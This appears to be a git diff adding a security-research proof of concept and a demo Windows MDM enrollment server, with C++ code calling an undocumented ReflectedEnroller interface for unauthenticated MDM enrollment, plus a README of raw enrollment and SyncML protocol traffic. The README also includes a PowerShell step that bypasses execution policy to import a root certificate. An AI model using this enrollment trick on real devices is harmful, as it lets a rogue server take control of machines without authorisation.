+ virtual HRESULT AADEnrollAsync(HSTRING p0, HSTRING p1, HSTRING p2, HSTRING p3, int p4, HSTRING p5, HSTRING p6, HSTRING p7, IAsyncOperation** p8) = 0; + virtual HRESULT AADEnrollAsyncWithTenantId(HSTRING p0, HSTRING p1, HSTRING p2, HSTRING p3, int p4, HSTRING p5, HSTRING p6, HSTRING p7, HSTRING p8, void** p9) = 0; + virtual HRESULT UnenrollAsync(HSTRING p0, IAsyncAction** p1) = 0; + virtual HRESULT AADCredentialsEnrollAsync(int p0, IAsyncAction** p1) = 0; + virtual HRESULT PrepForFirstSignin() = 0; + virtual HRESULT CheckRebootRequiredAsync(IAsyncOperation** p0) = 0; + virtual HRESULT RebuildSchedulesAndSyncWithServerAsync(IAsyncAction** p0) = 0; + virtual HRESULT RecreateEnrollmentTasksAsync(IAsyncAction** p0) = 0; + virtual HRESULT ForceRunDeviceRegistrationScheduledTaskAsync(IAsyncAction** p0) = 0; + virtual HRESULT CollectLogsEx(HSTRING p0, HSTRING p1, IAsyncAction** p2) = 0; + virtual HRESULT AADUnregisterAsync(IAsyncAction** p0) = 0; + virtual HRESULT CollectOneTrace(HSTRING p0, IAsyncAction** p1) = 0; + virtual HRESULT MmpcGetManagementUrlsAsync(HSTRING p0, HSTRING p1, void** p2) = 0; + virtual HRESULT GetSyncFailureTimeout(IAsyncOperation** p0) = 0; +}; + + + +HRESULT EnrollAADUsingReflectedEnroller(const std::wstring& upn, const std::wstring& discovery_service_full_url) +{ + if (discovery_service_full_url.empty()) { + return E_INVALIDARG; + } + + // Initializing WinRT stack + RoInitializeWrapper init(RO_INIT_MULTITHREADED); + if (FAILED((HRESULT)init)) return PrintError((HRESULT)init); + + // Setting input hstrings + HSTRING upn_hstr = NULL; + HRESULT hr = WindowsCreateString(upn.c_str(), (UINT32)upn.length(), &upn_hstr); + if (FAILED(hr)) return PrintError(hr); + + HSTRING discovery_url_hstr = NULL; + hr = WindowsCreateString(discovery_service_full_url.c_str(), (UINT32)discovery_service_full_url.length(), &discovery_url_hstr); + if (FAILED(hr)) return PrintError(hr); + + std::wstring dummy = L"value"; + HSTRING dummy_hstr = NULL; + hr = WindowsCreateString(dummy.c_str(), (UINT32)dummy.length(), &dummy_hstr); + if (FAILED(hr)) return PrintError(hr); + + // Activating ReflectedEnroller WinRT service, we are particulary interested in the ReflectedEnrollment interface + const HStringReference reflected_enroller_name = HString::MakeReference(L"EnterpriseDeviceManagement.Enrollment.ReflectedEnroller"); + ComPtr reflected_enrollment_ptr = NULL; + hr = Windows::Foundation::ActivateInstance(reflected_enroller_name.Get(), &reflected_enrollment_ptr); + if (FAILED(hr) || !reflected_enrollment_ptr) return PrintError(hr); + + // Calling AADEnrollAsync to perform the unauthenticated AAD MDM Enrollment + IAsyncOperation* reflected_enrollment_result_ptr = NULL; + hr = reflected_enrollment_ptr->AADEnrollAsync( + upn_hstr, + discovery_url_hstr, + dummy_hstr, + dummy_hstr, + 0, + dummy_hstr, + dummy_hstr, + dummy_hstr, + &reflected_enrollment_result_ptr); + if (FAILED(hr) || !reflected_enrollment_result_ptr) return PrintError(hr); + + // wprintf(L"AADEnrollAsync: AAD Enrollment was successfully called for UPN %s\n", upn.c_str()); + + return hr; +} \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_server_poc/LICENSE b/tools/blackhat-mdm/mdm_server_poc/LICENSE new file mode 100755 index 0000000000..13db870aac --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Oscar Beaumont + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/tools/blackhat-mdm/mdm_server_poc/README.md b/tools/blackhat-mdm/mdm_server_poc/README.md new file mode 100755 index 0000000000..72ed4a0693 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/README.md @@ -0,0 +1,634 @@ + +# Windows MDM Server Demo + +This project is a working and minimal implementation of the Windows device enrollment and management protocols. It was based on an initial implementation of the MS-MDE and MS-MDM enrollment protocols [here](https://github.com/oscartbeaumont/windows_mdm). + +This project uses the protocols: + +- [MS-MDE](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mde/d9e18701-cd4c-4fdb-8a3e-c1ddd33b1307) +- [MS-MDM](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mdm/33769a92-ac31-47ef-ae7b-dc8501f7104f) +- [MS-WSTEP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wstep/4766a85d-0d18-4fa1-a51f-e5cb98b752ea) +- [MS-XCEP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xcep/08ec4475-32c2-457d-8c27-5a176660a210) +- [OMA Device Management Protocol](https://www.openmobilealliance.org/release/DM/V1_2_1-20080617-A/OMA-TS-DM_Protocol-V1_2_1-20080617-A.pdf) + + +The steps for MDE device enrollment correspond to five phases as shown in the following diagram: + + + +## License + +This code is MIT licensed and it was forked from [here](https://github.com/oscartbeaumont/windows_mdm). Initial implementation credit goes to [Oscar Beaumont](https://github.com/oscartbeaumont). + +## Usage + +On the server side, you just need to run the project using the already provided cert and keys. So go to the project folder and run. + +``` +go run . +``` + +On the Windows client side, you need to import a custom CA certificate to the certificate store, and populate the `hosts` file before running the Windows Enrollment. The certificate to import is on the certs directory and it is called `dev_cert_mdmwindows_com.pfx`. You need to copy this certificate to the client machine and run the powershell command below. This is required because the project uses a local dev https endpoint. + + 1) Import certificate to Trusted CAs repository (be sure to update the path to the pfx certificate) + + powershell -ep bypass "$mypwd = ConvertTo-SecureString -String 'testpassword' -Force -AsPlainText ; Import-PfxCertificate -FilePath c:\path\to\dev_cert_mdmwindows_com.pfx -CertStoreLocation Cert:\LocalMachine\Root -Password $mypwd" + + 2) Add mdmwindows.com to the list of static DNS at %SystemRoot%\System32\drivers\etc\hosts + + mdmwindows.com + enterpriseenrollment.mdmwindows.com + +## Usage +You can send SyncML commands to the enrolled client by dropping an XML file with the SyncML command on the profile folder and then forcing the management session on the MDM Client (Settings -> Accounts -> Access work or school -> Info -> Sync) +There are examples of SyncML commands on the sample_syncml_commands folder + +## Protocol Details + +Below is the raw https exchange of the MS-MDE and MS-MDM protocols when run using the -verbose mode: + + +### MDM Server HTTP Endpoints Auto Discovery Flow + + + ============================= Input Request ============================= + ----------- Input Header ----------- + GET /EnrollmentServer/Discovery.svc HTTP/2.0 + Host: enterpriseenrollment.mdmwindows.com + Cache-Control: no-cache + Pragma: no-cache + User-Agent: ENROLLClient + + + ----------- Empty Input Body ----------- + ========================================================================= + + + + ============================= Output Response ============================= + ----------- Response Header ----------- + HTTP/1.1 200 OK + Connection: close + + + ----------- Empty Response Body ----------- + ========================================================================= + + ============================= Input Request ============================= + ----------- Input Header ----------- + POST /EnrollmentServer/Discovery.svc HTTP/2.0 + Host: enterpriseenrollment.mdmwindows.com + Content-Length: 1042 + Content-Type: application/soap+xml; charset=utf-8 + User-Agent: ENROLLClient + + + ----------- Input Body ----------- + + + + http://schemas.microsoft.com/windows/management/2012/01/enrollment/IDiscoveryService/Discover + urn:uuid:748132ec-a575-4329-b01b-6171a9cf8478 + + http://www.w3.org/2005/08/addressing/anonymous + + https://EnterpriseEnrollment.mdmwindows.com:443/EnrollmentServer/Discovery.svc + + + + + demo@mdmwindows.com + 4.0 + CIMClient_Windows + 10.0.19043.2364 + 72 + + OnPremise + Federated + + + + + + ========================================================================= + + + + + ============================= Output Response ============================= + ----------- Response Header ----------- + HTTP/1.1 200 OK + Content-Length: 1107 + Content-Type: application/soap+xml; charset=utf-8 + + + ----------- Response Body ----------- + + + + + http://schemas.microsoft.com/windows/management/2012/01/enrollment/IDiscoveryService/DiscoverResponse + 8c6060c4-3d78-4d73-ae17-e8bce88426ee + + urn:uuid:748132ec-a575-4329-b01b-6171a9cf8478 + + + + + OnPremise + 4.0 + https://mdmwindows.com/EnrollmentServer/Policy.svc + https://mdmwindows.com/EnrollmentServer/Enrollment.svc + + + + + ========================================================================= + +## MDM Certificate Enrollment Policy Flow (MS-XCEP) + + +============================= Input Request ============================= +----------- Input Header ----------- + POST /EnrollmentServer/Policy.svc HTTP/2.0 +Host: mdmwindows.com +Content-Length: 1495 +Content-Type: application/soap+xml; charset=utf-8 +User-Agent: ENROLLClient + + +----------- Input Body ----------- + + + + http://schemas.microsoft.com/windows/pki/2009/01/enrollmentpolicy/IPolicy/GetPolicies + urn:uuid:72048B64-0F19-448F-8C2E-B4C661860AA0 + + http://www.w3.org/2005/08/addressing/anonymous + + https://mdmwindows.com/EnrollmentServer/Policy.svc + + + demo@mdmwindows.com + demo + + + + + + + + + + + + + +========================================================================= + + + + +============================= Output Response ============================= +----------- Response Header ----------- + HTTP/1.1 200 OK +Content-Length: 1378 +Content-Type: application/soap+xml; charset=utf-8 + + +----------- Response Body ----------- + + + + + http://schemas.microsoft.com/windows/pki/2009/01/enrollmentpolicy/IPolicy/GetPoliciesResponse + urn:uuid:72048B64-0F19-448F-8C2E-B4C661860AA0 + + + + + + + + 3 + + 2048 + + + + + + + + + + 1.3.6.1.4.1.311.20.2 + 1 + 5 + Certificate Template Name + + + + + +========================================================================= + + + +### MDM Certificate Enrollment Extensions Flow (MS-WSTEP) + + + ============================= Input Request ============================= + ----------- Input Header ----------- + POST /EnrollmentServer/Enrollment.svc HTTP/2.0 + Host: mdmwindows.com + Content-Length: 4295 + Content-Type: application/soap+xml; charset=utf-8 + User-Agent: ENROLLClient + + + ----------- Input Body ----------- + + + + http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep + urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749 + + http://www.w3.org/2005/08/addressing/anonymous + + https://mdmwindows.com/EnrollmentServer/Enrollment.svc + + + demo@mdmwindows.com + demo + + + + + + http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken + http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue + MIICzjCCAboCAQAwSzFJMEcGA1UEAxNAQkE0MDVBNUQtQjFDNy00NzM3LTgxQzgtOEYzNzlBITFFMDhDNkU5NUQ4QkI4NDNCMTI3OEZGNDVCQzYwQ0M2ADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJiaMezO2srqSMWGm702z0XoaScezbTDbC7oLEFRTBe20cXUduHZXyR2UJvrbztQQhuzy8Fie/Y8FNOvBfs6qb+/S/iYGvK9Ju0SJaz5KLthuUK0BLj5GtAvHnEIKk1RkYZPBTMVwS8n+iJTged8C0XhOAVWk8pDsthlrLuUlURSOMji5ftN+dsygDfAWLbJc2imikdKx1sWwDNdSNDph+RjhZHWroABKBrLbmGatRMyxt+xdV/GYvd1rLl9HWZt+IIYPtMBWlnSjVnEMs6UdU7spK7FOr6lhkuQ5wXN1uelLdpj7Zl2pKL1iJgOMLn7N23dzjDzTRfjpUNL/rNvlg0CAwEAAaBCMEAGCSqGSIb3DQEJDjEzMDEwLwYKKwYBBAGCN0IBAAQhMUUwOEM2RTk1RDhCQjg0M0IxMjc4RkY0NUJDNjBDQzYAMAkGBSsOAwIdBQADggEBADYVlS6XuWXSBFjRSGQmKJmVe1a+8TQfRUVpakKKkMDlH7aqyOKZB00nL1vNNXO6xdaWb5ViyKdsTNwnXz/BhSmZaLYGS8Qi2N5HPo1XQOdAGj+Nee0R4Nun+q9b+zfNFXo8fJuNiUaOCaDrKX5pOcALRSJBF2Kv1mBxkixJNJQgWj/JPiCr76llqH06ODf9zbmofOdEYwa2XpT43mWD7gecI8zIi+N3KxJue6hL1sLHDa5nIJR1QLjr0BddJLSm5DKiHDyIGQqPFfQXgjlyPZC9X48noxizgwv8/pwkjoRCM/dvR0QyZb3jm0Ah4MWyTlnWZp6Kl9LAUWSJoJXBMK0= + + + true + + + 3B3ED6D0EA88CBFCF37D36F90F22FE61172348C0162FC3840D6703149870CE76 + + + en-US + + + true + + + 72 + + + DESKTOP-28FGAI6 + + + 00-0C-29-51-60-9D + + + 1A-77-20-52-41-53 + + + 1A-77-20-52-41-53 + + + 00-0C-29-51-60-A7 + + + 18-14-20-52-41-53 + + + 00-0C-29-51-60-93 + + + 1E08C6E95D8BB843B1278FF45BC60CC6 + + + Full + + + CIMClient_Windows + + + 10.0.19043.2364 + + + 10.0.19043.2364 + + + false + + + + + + ========================================================================= + + + + + ============================= Output Response ============================= + ----------- Response Header ----------- + HTTP/1.1 200 OK + Content-Length: 8598 + Content-Type: application/soap+xml; charset=utf-8 + + + ----------- Response Body ----------- + + + + + http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RSTRC/wstep + urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749 + + + 2018-11-30T00:32:59.420Z + 2018-12-30T00:37:59.420Z + + + + + + + http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken + + + PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48d2FwLXByb3Zpc2lvbmluZ2RvYyB2ZXJzaW9uPSIxLjEiPjxjaGFyYWN0ZXJpc3RpYyB0eXBlPSJDZXJ0aWZpY2F0ZVN0b3JlIj48Y2hhcmFjdGVyaXN0aWMgdHlwZT0iUm9vdCI+PGNoYXJhY3RlcmlzdGljIHR5cGU9IlN5c3RlbSI+PGNoYXJhY3RlcmlzdGljIHR5cGU9IkQ5QTg4RTA0QUYxOEE0RDM5OUNFRTYyRjJDNzE0NjlDM0FFMUU2NzUiPjxwYXJtIG5hbWU9IkVuY29kZWRDZXJ0aWZpY2F0ZSIgdmFsdWU9Ik1JSUZUakNDQXphZ0F3SUJBZ0lVQU1sQkJEYjU2bUZGVVpPaDM1TW1QVHVWNkpjd0RRWUpLb1pJaHZjTkFRRUxCUUF3UHpFWk1CY0dBMVVFQ2d3UVRXRjBkSEpoZUNCSlpHVnVkR2wwZVRFaU1DQUdBMVVFQXd3WlYybHVaRzkzY3lCTlJFMGdSR1Z0YnlCSlpHVnVkR2wwZVRBZUZ3MHlNVEF4TURNd01qUTBNREphRncweU5EQXhNRE13TWpRME1ESmFNRDh4R1RBWEJnTlZCQW9NRUUxaGRIUnlZWGdnU1dSbGJuUnBkSGt4SWpBZ0JnTlZCQU1NR1ZkcGJtUnZkM01nVFVSTklFUmxiVzhnU1dSbGJuUnBkSGt3Z2dJaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQ0R3QXdnZ0lLQW9JQ0FRQytnNjJHaHNFR2U0WGYvNWw4MG1POEZDOHNNWTZxR0MwZEI4YXZjSlhQdVIxTjREUVpBRkhIS2pnTTFMcFk0NVB6eHhTbUQxWTBSZFF3YUpMejAvV1F6c0RBRmhQRTdCeEI1SjBSVU1ZaVg5Yk01cCsyZmlmMFhua2xCUjE2RG5vNi9aeHdsdnZtMW1TN1RQUkZNcUhGZFB5WW0wZVc4RzAxUXBkMWVhVDdKQVhEcjN1a25yeXpmTjUxN3hzaGxJSmhVYUJtTTZRWng2L3UrS3ZhWkRGWmk1akdTekVJVHFFcy8zcFU4UFcvQm1OR1pYUkNWd2NHVGJwSG9IejczVlg3VlNEb1poWTVQNXp0VzUvZ29wOVJEQ0dxU0lJck5rNGJhOTlGd1liTnJPWDVnYktQOHJJN3VEdXBLRVlTaE5xQ250VC9ETjZXTUVSVWhkYkgzVExXeWhMSzhrbmxQTWVOSG9QTjFXK0pSZUowZVk4d0JWUVBHUENxdmJnZ3lYZ1drOTRHT3ExdDhiTmljSkRXVFpaQy9nTzRlV2FyU0RlVEJoRS80TlhWTDF5YVpkVEY0TUdBa1VLN24xYkJWT0MzTFQ4dzFEWWJIc290NmRvUTNEQ1M3NGVia1d6aHNKbjRxLyswUXFZTkREaG5FRWxRYWhvSmtCNEgrWGxLNktIeE9WNlpQQlpaTVRMVHNLTDZXRjgxb1k5N2lEc3hhNTd0d1J5a04raXoyYkxwQlBTa1I4ajU2Nnhhb3U4VGo4T2t5ODZCeG42V25MWUxvWFpld0M0VkhQRFYwUDRHQXVBeXZhWXpyM3owV20ydW9FZDBBT1Eyb3dteTAwNnduWW1yWVF4NGtqUGZVakF0UExjZE9iallvTWszTzNZaE5iUWU0TUtOWDdXL1R3SURBUUFCbzBJd1FEQU9CZ05WSFE4QkFmOEVCQU1DQVFZd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVWNsME15cjlpNjAzKytXM3BPMm5WVlZXdmNZc3dEUVlKS29aSWh2Y05BUUVMQlFBRGdnSUJBR01GQXByVmgrK3dXU0NOakl0RkF6bW5qcFRwRmZuVnpQbHZrNXJyU2xrajVTMHlYbk9hU3VOQ25kekhwdURhYzZLd1IwY0NEUVVXNjdnWEgxdUZ3ZTE0MGtOTy92ajkycFFqcUgzTmR4ek51YkE5cXBsRzFqRXN2NXVyNEpWY1NjT002RzlxY2FHUEhTbTRkRFNBazdBUWFDQnV2RUV6Qno3L2o2QTlqS0Y4RHJ4bzU2MkYxb0xIWHVjdTJIU0VuSXJxZWdadDAwbjg3WEpnUXNVTGxoMHB1ejFkRk9FYWNMZHdvM1oxTnpOOUxEamt2Q01NUi9wbFJZVUx1cGhiaEdaL3JkME0wYzdIT0k5MGMyaS82dFlXeDM2TjZiWC9LMTlzQTE1N2ZjY1piQzhFb05iYVI2RlJzUlpQN25RSGtRR204M29kT0cza2tQelJ4b3lTbStIL1ZhM0YyRVZ6VlhRUk9vRHArMktRSThJUmpRMjVwTWxDSCs1Qm5OVmpSMkZ3cHZFU0FKZ0tWZGQ4RkVPQkJPV0dKZ2xaamx3Rm1ZQnVETWE4UnZmeStEU2NMNGxCYTFPMEx1N0xwRjBpNkRyYUZHajBxS3k5SjRkc1FOaXB5elRsR3dpczF1M0E4RFNSbXphNWxzMEtlalQzaXQ5OWQva1A4L2lVam5XOVdvSDRYcVZMMHlCaDUzMExCV1F3QktBck5zenRSNzAvT01mQ0ZnbWFVOEN3VGdrU0dQNFdyK0UzVXd1QWxhQThnWERTYndmM2x4OGlnTUpmRGtPVDVxNWNrb3BNcHpCMGJrbVhVVk9YcUVCRjVwOTA2c3o1UmNzdTRkNnMwZDQ1MnVPSTJnQTBGOXVrWEFKd1A4UTVlUS9PSnBwanF1S1ByQzJnSzhRTDB1THIiIC8+PC9jaGFyYWN0ZXJpc3RpYz48L2NoYXJhY3RlcmlzdGljPjwvY2hhcmFjdGVyaXN0aWM+PGNoYXJhY3RlcmlzdGljIHR5cGU9Ik15Ij48Y2hhcmFjdGVyaXN0aWMgdHlwZT0iVXNlciI+PGNoYXJhY3RlcmlzdGljIHR5cGU9IkFEQTdCMzVBMzBGOTg2NDY1Q0U0QzE3NkQ1MjdENEI4MDg0OEVFRjQiPjxwYXJtIG5hbWU9IkVuY29kZWRDZXJ0aWZpY2F0ZSIgdmFsdWU9Ik1JSUVMVENDQWhXZ0F3SUJBZ0lCQWpBTkJna3Foa2lHOXcwQkFRVUZBREEvTVJrd0Z3WURWUVFLREJCTllYUjBjbUY0SUVsa1pXNTBhWFI1TVNJd0lBWURWUVFEREJsWGFXNWtiM2R6SUUxRVRTQkVaVzF2SUVsa1pXNTBhWFI1TUI0WERUSXlNVEl6TURFNU1UZzBNMW9YRFRJek1USXpNREU1TVRnME0xb3dLekVwTUNjR0ExVUVBeE1nTVVVd09FTTJSVGsxUkRoQ1FqZzBNMEl4TWpjNFJrWTBOVUpETmpCRFF6WXdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFDWW1qSHN6dHJLNmtqRmhwdTlOczlGNkdrbkhzMjB3Mnd1NkN4QlVVd1h0dEhGMUhiaDJWOGtkbENiNjI4N1VFSWJzOHZCWW52MlBCVFRyd1g3T3FtL3YwdjRtQnJ5dlNidEVpV3MrU2k3WWJsQ3RBUzQrUnJRTHg1eENDcE5VWkdHVHdVekZjRXZKL29pVTRIbmZBdEY0VGdGVnBQS1E3TFlaYXk3bEpWRVVqakk0dVg3VGZuYk1vQTN3RmkyeVhOb3BvcEhTc2RiRnNBelhValE2WWZrWTRXUjFxNkFBU2dheTI1aG1yVVRNc2Jmc1hWZnhtTDNkYXk1ZlIxbWJmaUNHRDdUQVZwWjBvMVp4RExPbEhWTzdLU3V4VHErcFlaTGtPY0Z6ZGJucFMzYVkrMlpkcVNpOVlpWURqQzUremR0M2M0dzgwMFg0NlZEUy82emI1WU5BZ01CQUFHalNEQkdNQTRHQTFVZER3RUIvd1FFQXdJSGdEQVRCZ05WSFNVRUREQUtCZ2dyQmdFRkJRY0RBakFmQmdOVkhTTUVHREFXZ0JSeVhRekt2MkxyVGY3NWJlazdhZFZWVmE5eGl6QU5CZ2txaGtpRzl3MEJBUVVGQUFPQ0FnRUFWOFlRNHErL2xXVUJVVHdEOVIwMXhmcEphQW5FUm4wSmxIdUMzU2tRY05XN3I4cC83L2tDdENjVDY5VFR2QlVzRENNZy9PdXVCODQxTGdraFhRRWtQdHZqa3l4aUVYaytkRzZiUXQ1QWpLSWtIWUtjZEY0TzA5M0NZTm9xWElpZTg4SnduRzNzUDl3S3kyQWZwNXhYTXlJRVFqdkdNYVlneUxQUDAyd21uMmp2QU5PTlpDUHVFbTV4VnlLRzltTU1ZWWFFNXVIenB5TU5JK3BzUnVKMU8zbFlBSFhMMjkwTlBiSjl2QzRnMDRDUWRhWUZzRjl6M3F2dGlEOWVCNE9PRHRabnNrZFpsVURQSE1RYWMrRjdVMVhPdHJuU3VmN0tYOXo2U3U2VEllOWFVa3hobVgxeCtmNW9QczdVSzREWHB1NWJzTGZUMDVFN1RpclA4OTErWHR1Q3BCUnJOOFVDTlZOV2J3aFFGOE1IUXkrRk5oQm43OGJLcnhpT1FDZGM1ZWVtdVlhaVBaTHNhYnFhNExadGlIODlOeEJpVmVtbDA3aDY3RjdXNE9VeVpGWUlpdVFxUzAvdjcxaWdmd3dQVUkyd0RhWGo2b3J5K3NxV3grV3JJdFVyNWxSMTdPVU4xVUpMVkNmcCtXaldCSlhEYnRueVcvWFdzd29UcHVDMXI5bHhDWEZpaFJJSGZGV2p0OWprbHJCRFF6dDYvMmphVWprR2V2SFhieWlsd3B6djlYcUczMDBjdG9mUHdwb2RjaVVFVmZtaHFzeG1NRHhabzNpODZiMGZuS3dhN3JUSmlVZWFpTkRuSFJoMzlKcVpGVVNOZElVLzFJVzlUall1NXZQOEovV2l1akFnTnNyZ1AyN2xBYTBzZUFDNFJqWUQyN0Y3S0o1WjhBTT0iIC8+PC9jaGFyYWN0ZXJpc3RpYz48Y2hhcmFjdGVyaXN0aWMgdHlwZT0iUHJpdmF0ZUtleUNvbnRhaW5lciIgLz48L2NoYXJhY3RlcmlzdGljPjwvY2hhcmFjdGVyaXN0aWM+PC9jaGFyYWN0ZXJpc3RpYz48Y2hhcmFjdGVyaXN0aWMgdHlwZT0iQVBQTElDQVRJT04iPjxwYXJtIG5hbWU9IkFQUElEIiB2YWx1ZT0idzciIC8+PHBhcm0gbmFtZT0iUFJPVklERVItSUQiIHZhbHVlPSJERU1PIE1ETSIgLz48cGFybSBuYW1lPSJOQU1FIiB2YWx1ZT0iRmxlZXRETSBEZW1vIFNlcnZlciAtIFdpbmRvd3MiIC8+PHBhcm0gbmFtZT0iQUREUiIgdmFsdWU9Imh0dHBzOi8vbWRtd2luZG93cy5jb20vTWFuYWdlbWVudFNlcnZlci9NRE0uc3ZjIiAvPjxwYXJtIG5hbWU9IlNlcnZlckxpc3QiIHZhbHVlPSJodHRwczovL21kbXdpbmRvd3MuY29tL01hbmFnZW1lbnRTZXJ2ZXIvU2VydmVyTGlzdC5zdmMiIC8+PHBhcm0gbmFtZT0iUk9MRSIgdmFsdWU9IjQyOTQ5NjcyOTUiIC8+PHBhcm0gbmFtZT0iQkFDS0NPTVBBVFJFVFJZRElTQUJMRUQiIC8+PHBhcm0gbmFtZT0iREVGQVVMVEVOQ09ESU5HIiB2YWx1ZT0iYXBwbGljYXRpb24vdm5kLnN5bmNtbC5kbSt4bWwiIC8+PGNoYXJhY3RlcmlzdGljIHR5cGU9IkFQUEFVVEgiPjxwYXJtIG5hbWU9IkFBVVRITEVWRUwiIHZhbHVlPSJDTElFTlQiIC8+PHBhcm0gbmFtZT0iQUFVVEhUWVBFIiB2YWx1ZT0iRElHRVNUIiAvPjxwYXJtIG5hbWU9IkFBVVRIU0VDUkVUIiB2YWx1ZT0iZHVtbXkiIC8+PHBhcm0gbmFtZT0iQUFVVEhEQVRBIiB2YWx1ZT0ibm9uY2UiIC8+PC9jaGFyYWN0ZXJpc3RpYz48Y2hhcmFjdGVyaXN0aWMgdHlwZT0iQVBQQVVUSCI+PHBhcm0gbmFtZT0iQUFVVEhMRVZFTCIgdmFsdWU9IkFQUFNSViIgLz48cGFybSBuYW1lPSJBQVVUSFRZUEUiIHZhbHVlPSJESUdFU1QiIC8+PHBhcm0gbmFtZT0iQUFVVEhOQU1FIiB2YWx1ZT0iZHVtbXkiIC8+PHBhcm0gbmFtZT0iQUFVVEhTRUNSRVQiIHZhbHVlPSJkdW1teSIgLz48cGFybSBuYW1lPSJBQVVUSERBVEEiIHZhbHVlPSJub25jZSIgLz48L2NoYXJhY3RlcmlzdGljPjwvY2hhcmFjdGVyaXN0aWM+PGNoYXJhY3RlcmlzdGljIHR5cGU9IkRNQ2xpZW50Ij48Y2hhcmFjdGVyaXN0aWMgdHlwZT0iUHJvdmlkZXIiPjxjaGFyYWN0ZXJpc3RpYyB0eXBlPSJERU1PIE1ETSI+PGNoYXJhY3RlcmlzdGljIHR5cGU9IlBvbGwiPjxwYXJtIG5hbWU9Ik51bWJlck9mRmlyc3RSZXRyaWVzIiB2YWx1ZT0iOCIgZGF0YXR5cGU9ImludGVnZXIiIC8+PC9jaGFyYWN0ZXJpc3RpYz48L2NoYXJhY3RlcmlzdGljPjwvY2hhcmFjdGVyaXN0aWM+PC9jaGFyYWN0ZXJpc3RpYz48L3dhcC1wcm92aXNpb25pbmdkb2M+ + + + 0 + + + + + + ========================================================================= + + + + +### MDM - Device Management Flow (MS-MDM) + + ============================= Input Request ============================= + ----------- Input Header ----------- + POST /ManagementServer/MDM.svc?mode=Maintenance&Platform=WoA HTTP/2.0 + Host: mdmwindows.com + Accept: application/vnd.syncml.dm+xml, application/vnd.syncml.dm+wbxml, application/octet-stream + Accept-Charset: UTF-8 + Client-Request-Id: 0 + Content-Length: 991 + Content-Type: application/vnd.syncml.dm+xml + Ms-Cv: a/tCeBgffEqA5408.0.0.0 + User-Agent: MSFT OMA DM Client/1.2.0.1 + + + ----------- Input Body ----------- + + + + 1.2 + DM/1.2 + 1 + 1 + + https://mdmwindows.com/ManagementServer/MDM.svc + + + 1E08C6E95D8BB843B1278FF45BC60CC6 + + + + + 2 + 1201 + + + 3 + 1224 + + + com.microsoft/MDM/LoginStatus + + user + + + + 4 + + + ./DevInfo/DevId + + 1E08C6E95D8BB843B1278FF45BC60CC6 + + + + ./DevInfo/Man + + VMware, Inc. + + + + ./DevInfo/Mod + + VMware7,1 + + + + ./DevInfo/DmV + + 1.3 + + + + ./DevInfo/Lang + + en-US + + + + + + ========================================================================= + + + + + ============================= Output Response ============================= + ----------- Response Header ----------- + HTTP/1.1 200 OK + Content-Length: 1736 + Content-Type: application/vnd.syncml.dm+xml + + + ----------- Response Body ----------- + + + + + 1.2 + DM/1.2 + 1 + 1 + + 1E08C6E95D8BB843B1278FF45BC60CC6 + + + https://mdmwindows.com/ManagementServer/MDM.svc + + + + + 1 + 1 + 0 + SyncHdr + 200 + + + 2 + 1 + 2 + Alert + 200 + + + 3 + 1 + 3 + Alert + 200 + + + 4 + 1 + 4 + Replace + 200 + + + 5 + + + ./Vendor/MSFT/Personalization/DesktopImageUrl + + + chr + text/plain + + https://fleetdm.com/images/articles/fleet-4.24.0-cover-1600x900@2x.jpg + + + + 6 + + + ./Vendor/MSFT/Personalization/LockScreenImageUrl + + + chr + text/plain + + https://fleetdm.com/images/articles/fleet-4.24.0-cover-1600x900@2x.jpg + + + + + + ========================================================================= + + + 192.168.8.10 - - [30/Dec/2022:16:59:44 -0300] "POST /ManagementServer/MDM.svc?mode=Maintenance&Platform=WoA HTTP/2.0" 200 1400 + + + ============================= Input Request ============================= + ----------- Input Header ----------- + POST /ManagementServer/MDM.svc?mode=Maintenance&Platform=WoA HTTP/2.0 + Host: mdmwindows.com + Accept: application/vnd.syncml.dm+xml, application/vnd.syncml.dm+wbxml, application/octet-stream + Accept-Charset: UTF-8 + Client-Request-Id: 0 + Content-Length: 633 + Content-Type: application/vnd.syncml.dm+xml + Ms-Cv: a/tCeBgffEqA5408.0.0.0 + User-Agent: MSFT OMA DM Client/1.2.0.1 + + + ----------- Input Body ----------- + + + + 1.2 + DM/1.2 + 1 + 2 + + https://mdmwindows.com/ManagementServer/MDM.svc + + + 